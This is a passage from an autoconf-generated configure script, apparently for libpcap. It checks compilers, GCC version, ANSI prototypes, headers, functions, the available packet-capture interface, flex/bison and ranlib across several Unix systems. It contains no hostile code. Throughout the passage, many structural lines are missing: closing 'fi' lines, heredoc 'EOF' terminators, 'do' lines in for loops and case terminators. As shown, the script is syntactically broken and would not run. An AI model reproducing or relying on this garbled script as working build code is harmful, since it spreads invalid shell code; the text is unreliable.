    V_CCOPT="-O"
    V_INCLS=""
    if test "${srcdir}" != "." ; then
          V_INCLS="-I\$\(srcdir\)"
    fi
    if test "${CFLAGS+set}" = set; then
          LBL_CFLAGS="$CFLAGS"
    fi
    if test -z "$CC" ; then
          case "$target_os" in
          bsdi*)
                # Extract the first word of "shlicc2", so it can be a program name with args.
set dummy shlicc2; ac_word=$2
echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
echo "configure:671: checking for $ac_word" >&5
if eval "test \"`echo '$''{'ac_cv_prog_SHLICC2'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if test -n "$SHLICC2"; then
  ac_cv_prog_SHLICC2="$SHLICC2" # Let the user override the test.
else
  IFS="${IFS=       }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
  for ac_dir in $PATH; do
    test -z "$ac_dir" && ac_dir=.
    if test -f $ac_dir/$ac_word; then
      ac_cv_prog_SHLICC2="yes"
      break
    fi
  done
  IFS="$ac_save_ifs"
  test -z "$ac_cv_prog_SHLICC2" && ac_cv_prog_SHLICC2="no"
SHLICC2="$ac_cv_prog_SHLICC2"
if test -n "$SHLICC2"; then
  echo "$ac_t""$SHLICC2" 1>&6
else
  echo "$ac_t""no" 1>&6
                if test $SHLICC2 = yes ; then
                      CC=shlicc2
                      export CC
                fi
                ;;
          esac
    fi
    if test -z "$CC" -a "$with_gcc" = no ; then
          CC=cc
          export CC
    fi
    # Extract the first word of "gcc", so it can be a program name with args.
set dummy gcc; ac_word=$2
echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
echo "configure:711: checking for $ac_word" >&5
if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if test -n "$CC"; then
  ac_cv_prog_CC="$CC" # Let the user override the test.
else
  IFS="${IFS=       }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
  for ac_dir in $PATH; do
    test -z "$ac_dir" && ac_dir=.
    if test -f $ac_dir/$ac_word; then
      ac_cv_prog_CC="gcc"
      break
    fi
  done
  IFS="$ac_save_ifs"
CC="$ac_cv_prog_CC"
if test -n "$CC"; then
  echo "$ac_t""$CC" 1>&6
else
  echo "$ac_t""no" 1>&6
if test -z "$CC"; then
  # Extract the first word of "cc", so it can be a program name with args.
set dummy cc; ac_word=$2
echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
echo "configure:740: checking for $ac_word" >&5
if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if test -n "$CC"; then
  ac_cv_prog_CC="$CC" # Let the user override the test.
else
  IFS="${IFS=       }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
  ac_prog_rejected=no
  for ac_dir in $PATH; do
    test -z "$ac_dir" && ac_dir=.
    if test -f $ac_dir/$ac_word; then
      if test "$ac_dir/$ac_word" = "/usr/ucb/cc"; then
        ac_prog_rejected=yes
      continue
      fi
      ac_cv_prog_CC="cc"
      break
    fi
  done
  IFS="$ac_save_ifs"
if test $ac_prog_rejected = yes; then
  # We found a bogon in the path, so make sure we never use it.
  set dummy $ac_cv_prog_CC
  shift
  if test $# -gt 0; then
    # We chose a different compiler from the bogus one.
    # However, it has the same basename, so the bogon will be chosen
    # first if we set CC to just the basename; use the full file name.
    shift
    set dummy "$ac_dir/$ac_word" "$@"
    shift
    ac_cv_prog_CC="$@"
  fi
CC="$ac_cv_prog_CC"
if test -n "$CC"; then
  echo "$ac_t""$CC" 1>&6
else
  echo "$ac_t""no" 1>&6
  test -z "$CC" && { echo "configure: error: no acceptable cc found in \$PATH" 1>&2; exit 1; }
echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works""... $ac_c" 1>&6
echo "configure:788: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works" >&5
ac_ext=c
# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options.
ac_cpp='$CPP $CPPFLAGS'
ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5'
ac_link='${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5'
cross_compiling=$ac_cv_prog_cc_cross
cat > conftest.$ac_ext <<EOF
#line 798 "configure"
#include "confdefs.h"
main(){return(0);}
if { (eval echo configure:802: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then
  ac_cv_prog_cc_works=yes
  # If we can't run a trivial program, we are probably using a cross compiler.
  if (./conftest; exit) 2>/dev/null; then
    ac_cv_prog_cc_cross=no
  else
    ac_cv_prog_cc_cross=yes
  fi
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  ac_cv_prog_cc_works=no
rm -fr conftest*
echo "$ac_t""$ac_cv_prog_cc_works" 1>&6
if test $ac_cv_prog_cc_works = no; then
  { echo "configure: error: installation or configuration problem: C compiler cannot create executables." 1>&2; exit 1; }
echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler""... $ac_c" 1>&6
echo "configure:822: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler" >&5
echo "$ac_t""$ac_cv_prog_cc_cross" 1>&6
cross_compiling=$ac_cv_prog_cc_cross
echo $ac_n "checking whether we are using GNU C""... $ac_c" 1>&6
echo "configure:827: checking whether we are using GNU C" >&5
if eval "test \"`echo '$''{'ac_cv_prog_gcc'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.c <<EOF
#ifdef __GNUC__
  yes;
#endif
if { ac_try='${CC-cc} -E conftest.c'; { (eval echo configure:836: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then
  ac_cv_prog_gcc=yes
else
  ac_cv_prog_gcc=no
echo "$ac_t""$ac_cv_prog_gcc" 1>&6
if test $ac_cv_prog_gcc = yes; then
  GCC=yes
  ac_test_CFLAGS="${CFLAGS+set}"
  ac_save_CFLAGS="$CFLAGS"
  CFLAGS=
  echo $ac_n "checking whether ${CC-cc} accepts -g""... $ac_c" 1>&6
echo "configure:851: checking whether ${CC-cc} accepts -g" >&5
if eval "test \"`echo '$''{'ac_cv_prog_cc_g'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  echo 'void f(){}' > conftest.c
if test -z "`${CC-cc} -g -c conftest.c 2>&1`"; then
  ac_cv_prog_cc_g=yes
else
  ac_cv_prog_cc_g=no
rm -f conftest*
echo "$ac_t""$ac_cv_prog_cc_g" 1>&6
  if test "$ac_test_CFLAGS" = set; then
    CFLAGS="$ac_save_CFLAGS"
  elif test $ac_cv_prog_cc_g = yes; then
    CFLAGS="-g -O2"
  else
    CFLAGS="-O2"
  fi
else
  GCC=
  test "${CFLAGS+set}" = set || CFLAGS="-g"
    if test "$GCC" = yes ; then
          if test "$SHLICC2" = yes ; then
                ac_cv_lbl_gcc_vers=2
                V_CCOPT="-O2"
          else
                echo $ac_n "checking gcc version""... $ac_c" 1>&6
echo "configure:884: checking gcc version" >&5
                if eval "test \"`echo '$''{'ac_cv_lbl_gcc_vers'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  ac_cv_lbl_gcc_vers=`$CC -v 2>&1 | \
                      sed -e '/^gcc version /!d' \
                        -e 's/^gcc version //' \
                        -e 's/ .*//' -e 's/^[^0-9]*//' \
                        -e 's/\..*//'`
                echo "$ac_t""$ac_cv_lbl_gcc_vers" 1>&6
                if test $ac_cv_lbl_gcc_vers -gt 1 ; then
                      V_CCOPT="-O2"
                fi
          fi
    else
          echo $ac_n "checking that $CC handles ansi prototypes""... $ac_c" 1>&6
echo "configure:902: checking that $CC handles ansi prototypes" >&5
          if eval "test \"`echo '$''{'ac_cv_lbl_cc_ansi_prototypes'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 907 "configure"
#include "confdefs.h"
#include <sys/types.h>
int main() {
int frob(int, char *)
; return 0; }
if { (eval echo configure:914: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then
  rm -rf conftest*
  ac_cv_lbl_cc_ansi_prototypes=yes
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  ac_cv_lbl_cc_ansi_prototypes=no
rm -f conftest*
          echo "$ac_t""$ac_cv_lbl_cc_ansi_prototypes" 1>&6
          if test $ac_cv_lbl_cc_ansi_prototypes = no ; then
                case "$target_os" in
                hpux*)
                      echo $ac_n "checking for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)""... $ac_c" 1>&6
echo "configure:932: checking for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)" >&5
                      savedcflags="$CFLAGS"
                      CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS"
                      if eval "test \"`echo '$''{'ac_cv_lbl_cc_hpux_cc_aa'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 939 "configure"
#include "confdefs.h"
#include <sys/types.h>
int main() {
int frob(int, char *)
; return 0; }
if { (eval echo configure:946: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then
  rm -rf conftest*
  ac_cv_lbl_cc_hpux_cc_aa=yes
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  ac_cv_lbl_cc_hpux_cc_aa=no
rm -f conftest*
                      echo "$ac_t""$ac_cv_lbl_cc_hpux_cc_aa" 1>&6
                      if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then
                            { echo "configure: error: see the INSTALL doc for more info" 1>&2; exit 1; }
                      fi
                      CFLAGS="$savedcflags"
                      V_CCOPT="-Aa $V_CCOPT"
                      cat >> confdefs.h <<\EOF
#define _HPUX_SOURCE 1
                      ;;
                *)
                      { echo "configure: error: see the INSTALL doc for more info" 1>&2; exit 1; }
                      ;;
                esac
          fi
          V_INCLS="$V_INCLS -I/usr/local/include"
          LDFLAGS="$LDFLAGS -L/usr/local/lib"
          case "$target_os" in
          irix*)
                V_CCOPT="$V_CCOPT -xansi -signed -g3"
                ;;
          osf*)
                V_CCOPT="$V_CCOPT -std1 -g3"
                ;;
          ultrix*)
                echo $ac_n "checking that Ultrix $CC hacks const in prototypes""... $ac_c" 1>&6
echo "configure:990: checking that Ultrix $CC hacks const in prototypes" >&5
                if eval "test \"`echo '$''{'ac_cv_lbl_cc_const_proto'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 995 "configure"
#include "confdefs.h"
#include <sys/types.h>
int main() {
struct a { int b; };
                      void c(const struct a *)
; return 0; }
if { (eval echo configure:1003: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then
  rm -rf conftest*
  ac_cv_lbl_cc_const_proto=yes
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  ac_cv_lbl_cc_const_proto=no
rm -f conftest*
                echo "$ac_t""$ac_cv_lbl_cc_const_proto" 1>&6
                if test $ac_cv_lbl_cc_const_proto = no ; then
                      cat >> confdefs.h <<\EOF
#define const
                fi
                ;;
          esac
    fi
echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6
echo "configure:1028: checking how to run the C preprocessor" >&5
# On Suns, sometimes $CPP names a directory.
if test -n "$CPP" && test -d "$CPP"; then
  CPP=
if test -z "$CPP"; then
if eval "test \"`echo '$''{'ac_cv_prog_CPP'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
    # This must be in double quotes, not single quotes, because CPP may get
  # substituted into the Makefile and "${CC-cc}" will confuse make.
  CPP="${CC-cc} -E"
  # On the NeXT, cc -E runs the code through the compiler's parser,
  # not just through cpp.
  cat > conftest.$ac_ext <<EOF
#line 1043 "configure"
#include "confdefs.h"
#include <assert.h>
Syntax Error
ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo configure:1049: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
ac_err=`grep -v '^ *+' conftest.out`
if test -z "$ac_err"; then
else
  echo "$ac_err" >&5
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  CPP="${CC-cc} -E -traditional-cpp"
  cat > conftest.$ac_ext <<EOF
#line 1060 "configure"
#include "confdefs.h"
#include <assert.h>
Syntax Error
ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo configure:1066: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
ac_err=`grep -v '^ *+' conftest.out`
if test -z "$ac_err"; then
else
  echo "$ac_err" >&5
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  CPP=/lib/cpp
rm -f conftest*
rm -f conftest*
  ac_cv_prog_CPP="$CPP"
  CPP="$ac_cv_prog_CPP"
else
  ac_cv_prog_CPP="$CPP"
echo "$ac_t""$CPP" 1>&6
for ac_hdr in malloc.h sys/ioccom.h sys/sockio.h
ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'`
echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6
echo "configure:1092: checking for $ac_hdr" >&5
if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1097 "configure"
#include "confdefs.h"
#include <$ac_hdr>
ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo configure:1102: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
ac_err=`grep -v '^ *+' conftest.out`
if test -z "$ac_err"; then
  rm -rf conftest*
  eval "ac_cv_header_$ac_safe=yes"
else
  echo "$ac_err" >&5
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  eval "ac_cv_header_$ac_safe=no"
rm -f conftest*
if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then
  echo "$ac_t""yes" 1>&6
    ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'`
  cat >> confdefs.h <<EOF
#define $ac_tr_hdr 1
else
  echo "$ac_t""no" 1>&6
done
if test "$GCC" = yes ; then
          echo $ac_n "checking for ANSI ioctl definitions""... $ac_c" 1>&6
echo "configure:1131: checking for ANSI ioctl definitions" >&5
          if eval "test \"`echo '$''{'ac_cv_lbl_gcc_fixincludes'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1136 "configure"
#include "confdefs.h"
                 * This generates a "duplicate case value" when fixincludes
                 * has not be run.
                 */
#           include <sys/types.h>
#           include <sys/time.h>
#           include <sys/ioctl.h>
#           ifdef HAVE_SYS_IOCCOM_H
#           include <sys/ioccom.h>
#           endif
int main() {
switch (0) {
                case _IO('A', 1):;
                case _IO('B', 1):;
                }
; return 0; }
if { (eval echo configure:1155: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then
  rm -rf conftest*
  ac_cv_lbl_gcc_fixincludes=yes
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  ac_cv_lbl_gcc_fixincludes=no
rm -f conftest*
          echo "$ac_t""$ac_cv_lbl_gcc_fixincludes" 1>&6
          if test $ac_cv_lbl_gcc_fixincludes = no ; then
                # Don't cache failure
                unset ac_cv_lbl_gcc_fixincludes
                { echo "configure: error: see the INSTALL for more info" 1>&2; exit 1; }
          fi
    fi
for ac_func in ether_hostton strerror
echo $ac_n "checking for $ac_func""... $ac_c" 1>&6
echo "configure:1178: checking for $ac_func" >&5
if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1183 "configure"
#include "confdefs.h"
/* System header to define __stub macros and hopefully few prototypes,
    which can conflict with char $ac_func(); below.  */
#include <assert.h>
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char $ac_func();
int main() {
/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named
    something starting with __ and the normal name is an alias.  */
#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
choke me
#else
$ac_func();
#endif
; return 0; }
if { (eval echo configure:1206: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then
  rm -rf conftest*
  eval "ac_cv_func_$ac_func=yes"
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  eval "ac_cv_func_$ac_func=no"
rm -f conftest*
if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then
  echo "$ac_t""yes" 1>&6
    ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
  cat >> confdefs.h <<EOF
#define $ac_tr_func 1
else
  echo "$ac_t""no" 1>&6
done
# Check whether --with-pcap or --without-pcap was given.
if test "${with_pcap+set}" = set; then
  withval="$with_pcap"
echo $ac_n "checking packet capture type""... $ac_c" 1>&6
echo "configure:1238: checking packet capture type" >&5
if test ! -z "$with_pcap" ; then
      V_PCAP="$withval"
elif test -r /dev/bpf0 ; then
      V_PCAP=bpf
elif test -r /usr/include/net/pfilt.h ; then
      V_PCAP=pf
elif test -r /dev/enet ; then
      V_PCAP=enet
elif test -r /dev/nit ; then
      V_PCAP=snit
elif test -r /usr/include/sys/net/nit.h ; then
      V_PCAP=nit
elif test -r /usr/include/net/raw.h ; then
      V_PCAP=snoop
elif test -r /usr/include/sys/dlpi.h ; then
      V_PCAP=dlpi
elif test -r /usr/include/linux/socket.h ; then
      V_PCAP=linux
elif test -c /dev/bpf0 ; then        # check again in case not readable
      V_PCAP=bpf
elif test -c /dev/enet ; then        # check again in case not readable
      V_PCAP=enet
elif test -c /dev/nit ; then        # check again in case not readable
      V_PCAP=snit
else
      V_PCAP=null
echo "$ac_t""$V_PCAP" 1>&6
case "$V_PCAP" in
dlpi)
      for ac_hdr in sys/bufmod.h sys/dlpi_ext.h
ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'`
echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6
echo "configure:1275: checking for $ac_hdr" >&5
if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1280 "configure"
#include "confdefs.h"
#include <$ac_hdr>
ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo configure:1285: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
ac_err=`grep -v '^ *+' conftest.out`
if test -z "$ac_err"; then
  rm -rf conftest*
  eval "ac_cv_header_$ac_safe=yes"
else
  echo "$ac_err" >&5
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  eval "ac_cv_header_$ac_safe=no"
rm -f conftest*
if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then
  echo "$ac_t""yes" 1>&6
    ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'`
  cat >> confdefs.h <<EOF
#define $ac_tr_hdr 1
else
  echo "$ac_t""no" 1>&6
done
      echo $ac_n "checking for /dev/dlpi device""... $ac_c" 1>&6
echo "configure:1312: checking for /dev/dlpi device" >&5
      if test -c /dev/dlpi ; then
            echo "$ac_t""yes" 1>&6
            cat >> confdefs.h <<\EOF
#define HAVE_DEV_DLPI 1
      else
            echo "$ac_t""no" 1>&6
            dir="/dev/dlpi"
            echo $ac_n "checking for $dir directory""... $ac_c" 1>&6
echo "configure:1323: checking for $dir directory" >&5
            if test -d $dir ; then
                  echo "$ac_t""yes" 1>&6
                  cat >> confdefs.h <<EOF
#define PCAP_DEV_PREFIX "$dir"
            else
                  echo "$ac_t""no" 1>&6
            fi
linux)
      for ac_hdr in net/if_arp.h
ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'`
echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6
echo "configure:1341: checking for $ac_hdr" >&5
if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1346 "configure"
#include "confdefs.h"
#include <$ac_hdr>
ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out"
{ (eval echo configure:1351: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
ac_err=`grep -v '^ *+' conftest.out`
if test -z "$ac_err"; then
  rm -rf conftest*
  eval "ac_cv_header_$ac_safe=yes"
else
  echo "$ac_err" >&5
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  eval "ac_cv_header_$ac_safe=no"
rm -f conftest*
if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then
  echo "$ac_t""yes" 1>&6
    ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'`
  cat >> confdefs.h <<EOF
#define $ac_tr_hdr 1
else
  echo "$ac_t""no" 1>&6
done
      echo $ac_n "checking Linux kernel version""... $ac_c" 1>&6
echo "configure:1378: checking Linux kernel version" >&5
      if eval "test \"`echo '$''{'ac_cv_linux_vers'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  ac_cv_linux_vers=`uname -r 2>&1 | \
            sed -n -e '$s/.* //' -e '$s/\..*//p'`
      echo "$ac_t""$ac_cv_linux_vers" 1>&6
      if test $ac_cv_linux_vers -lt 2 ; then
            { echo "configure: error: version 2 or higher required; see the INSTALL doc for more info" 1>&2; exit 1; }
null)
      echo "configure: warning: cannot determine packet capture interface" 1>&2
      echo "configure: warning: (see the INSTALL doc for more info)" 1>&2
esac
# Check whether --with-flex or --without-flex was given.
if test "${with_flex+set}" = set; then
  withval="$with_flex"
    # Check whether --with-bison or --without-bison was given.
if test "${with_bison+set}" = set; then
  withval="$with_bison"
    if test "$with_flex" = no ; then
          V_LEX=lex
    else
          for ac_prog in flex
# Extract the first word of "$ac_prog", so it can be a program name with args.
set dummy $ac_prog; ac_word=$2
echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
echo "configure:1419: checking for $ac_word" >&5
if eval "test \"`echo '$''{'ac_cv_prog_V_LEX'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if test -n "$V_LEX"; then
  ac_cv_prog_V_LEX="$V_LEX" # Let the user override the test.
else
  IFS="${IFS=       }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
  for ac_dir in $PATH; do
    test -z "$ac_dir" && ac_dir=.
    if test -f $ac_dir/$ac_word; then
      ac_cv_prog_V_LEX="$ac_prog"
      break
    fi
  done
  IFS="$ac_save_ifs"
V_LEX="$ac_cv_prog_V_LEX"
if test -n "$V_LEX"; then
  echo "$ac_t""$V_LEX" 1>&6
else
  echo "$ac_t""no" 1>&6
test -n "$V_LEX" && break
done
test -n "$V_LEX" || V_LEX="lex"
    fi
    if test "$V_LEX" = flex ; then
          # The -V flag was added in 2.4
          echo $ac_n "checking for flex 2.4 or higher""... $ac_c" 1>&6
echo "configure:1452: checking for flex 2.4 or higher" >&5
          if eval "test \"`echo '$''{'ac_cv_lbl_flex_v24'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if flex -V >/dev/null 2>&1; then
                  ac_cv_lbl_flex_v24=yes
            else
                  ac_cv_lbl_flex_v24=no
            fi
          echo "$ac_t""$ac_cv_lbl_flex_v24" 1>&6
          if test $ac_cv_lbl_flex_v24 = no ; then
                s="2.4 or higher required"
                echo "configure: warning: ignoring obsolete flex executable ($s)" 1>&2
                V_LEX=lex
          fi
    fi
    if test "$with_bison" = no ; then
          V_YACC=yacc
    else
          for ac_prog in bison
# Extract the first word of "$ac_prog", so it can be a program name with args.
set dummy $ac_prog; ac_word=$2
echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
echo "configure:1478: checking for $ac_word" >&5
if eval "test \"`echo '$''{'ac_cv_prog_V_YACC'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if test -n "$V_YACC"; then
  ac_cv_prog_V_YACC="$V_YACC" # Let the user override the test.
else
  IFS="${IFS=       }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
  for ac_dir in $PATH; do
    test -z "$ac_dir" && ac_dir=.
    if test -f $ac_dir/$ac_word; then
      ac_cv_prog_V_YACC="$ac_prog"
      break
    fi
  done
  IFS="$ac_save_ifs"
V_YACC="$ac_cv_prog_V_YACC"
if test -n "$V_YACC"; then
  echo "$ac_t""$V_YACC" 1>&6
else
  echo "$ac_t""no" 1>&6
test -n "$V_YACC" && break
done
test -n "$V_YACC" || V_YACC="yacc"
    fi
    if test "$V_YACC" = bison ; then
          V_YACC="$V_YACC -y"
    fi
    if test "$V_LEX" != lex -a "$V_YACC" = yacc -o "$V_LEX" = lex -a "$V_YACC" != yacc ; then
          echo "configure: warning: don't have both flex and bison; reverting to lex/yacc" 1>&2
          V_LEX=lex
          V_YACC=yacc
    fi
    if test "$V_LEX" = flex -a -n "pcap_" ; then
          V_LEX="$V_LEX -Ppcap_"
          V_YACC="$V_YACC -p pcap_"
    fi
case "$target_os" in
aix*)
            cat >> confdefs.h <<\EOF
#define _SUN 1
hpux9*)
      cat >> confdefs.h <<\EOF
#define HAVE_HPUX9 1
hpux10.0*)
hpux10.1*)
hpux*)
            cat >> confdefs.h <<\EOF
#define HAVE_HPUX10_20 1
sinix*)
      echo $ac_n "checking if SINIX compiler defines sinix""... $ac_c" 1>&6
echo "configure:1552: checking if SINIX compiler defines sinix" >&5
      if eval "test \"`echo '$''{'ac_cv_cc_sinix_defined'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1557 "configure"
#include "confdefs.h"
int main() {
int i = sinix;
; return 0; }
if { (eval echo configure:1564: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then
  rm -rf conftest*
  ac_cv_cc_sinix_defined=yes
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  ac_cv_cc_sinix_defined=no
rm -f conftest*
          echo "$ac_t""$ac_cv_cc_sinix_defined" 1>&6
          if test $ac_cv_cc_sinix_defined = no ; then
                cat >> confdefs.h <<\EOF
#define sinix 1
          fi
solaris*)
      cat >> confdefs.h <<\EOF
#define HAVE_SOLARIS 1
linux*)
      V_INCLS="$V_INCLS -Ilinux-include"
esac
for ac_prog in ranlib
# Extract the first word of "$ac_prog", so it can be a program name with args.
set dummy $ac_prog; ac_word=$2
echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
echo "configure:1602: checking for $ac_word" >&5
if eval "test \"`echo '$''{'ac_cv_prog_V_RANLIB'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  if test -n "$V_RANLIB"; then
  ac_cv_prog_V_RANLIB="$V_RANLIB" # Let the user override the test.
else
  IFS="${IFS=       }"; ac_save_ifs="$IFS"; IFS="${IFS}:"
  for ac_dir in $PATH; do
    test -z "$ac_dir" && ac_dir=.
    if test -f $ac_dir/$ac_word; then
      ac_cv_prog_V_RANLIB="$ac_prog"
      break
    fi
  done
  IFS="$ac_save_ifs"
V_RANLIB="$ac_cv_prog_V_RANLIB"
if test -n "$V_RANLIB"; then
  echo "$ac_t""$V_RANLIB" 1>&6
else
  echo "$ac_t""no" 1>&6
test -n "$V_RANLIB" && break
done
test -n "$V_RANLIB" || V_RANLIB="@true"
rm -f os-proto.h
    if test "${LBL_CFLAGS+set}" = set; then
          V_CCOPT="$V_CCOPT ${LBL_CFLAGS}"
    fi
    if test -f .devel ; then
          if test "$GCC" = yes ; then
                if test "${LBL_CFLAGS+set}" != set; then
                      if test "$ac_cv_prog_cc_g" = yes ; then
                            V_CCOPT="-g $V_CCOPT"
                      fi
                      V_CCOPT="$V_CCOPT -Wall"
                      if test $ac_cv_lbl_gcc_vers -gt 1 ; then
                            V_CCOPT="$V_CCOPT -Wmissing-prototypes -Wstrict-prototypes"
                      fi
                fi
          else
                case "$target_os" in
                irix6*)
                      V_CCOPT="$V_CCOPT -n32"
                      ;;
                *)
                      ;;
                esac
          fi
          os=`echo $target_os | sed -e 's/\([0-9][0-9]*\)[^0-9].*$/\1/'`
          name="lbl/os-$os.h"
          if test -f $name ; then
                ln -s $name os-proto.h
                cat >> confdefs.h <<\EOF
#define HAVE_OS_PROTO_H 1
          else
                echo "configure: warning: can't find $name" 1>&2
          fi
    fi
echo $ac_n "checking if sockaddr struct has sa_len member""... $ac_c" 1>&6
echo "configure:1672: checking if sockaddr struct has sa_len member" >&5
    if eval "test \"`echo '$''{'ac_cv_lbl_sockaddr_has_sa_len'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  cat > conftest.$ac_ext <<EOF
#line 1677 "configure"
#include "confdefs.h"
